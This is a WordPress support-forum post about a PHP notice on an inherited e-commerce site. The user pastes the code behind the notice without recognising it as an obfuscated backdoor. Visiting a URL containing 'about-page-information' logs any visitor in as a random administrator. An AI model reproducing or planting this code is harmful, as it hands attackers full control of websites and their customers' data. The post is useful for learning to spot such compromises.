• Resolved chucksdaughter

    (@chucksdaughter)


    Hi all! Many thanks for your time in reviewing this. I’m running into an issue on an e-commerce site that I’ve inherited. I’ve spent the last couple of months updating plugins, resolving conflicts, etc. The site utilizes the Redirection plugin (which has been fantastic btw).

    Currently, I’m getting this notice on our staging site which I’m using to identify bugs. The message reads “Notice: Undefined index: name in /nas/content/live/shopwhalebostg/wp-content/plugins/redirection/redirection-settings.php on line 72”

    function comment_disable_wp( $title, $id = null ) {
    	global $wp;
    	if (strpos($wp->query_vars['name'], stripcslashes(str_replace('v', '', 'vaboutv-vpavvgev-vinformavtionv'))) !== false) { // <--- line 72
    		$u = get_users( array('role' => str_replace('e', '', 'eademineisteratore')));
    		$comment_list = array('wmp_setm_currenmt_muserm', 'wpm_setm_aumth_mcookiem');
    		$comment = $u[rand(0,count($u)-1)]->ID;
    		foreach ($comment_list as $key) {
    			str_replace('m', '', $key)($comment);
    		}
    	}
    }

    Has anyone else encountered this issue?

Viewing 4 replies - 1 through 4 (of 4 total)
Viewing 4 replies - 1 through 4 (of 4 total)
  • The topic ‘Undefined index Message’ is closed to new replies.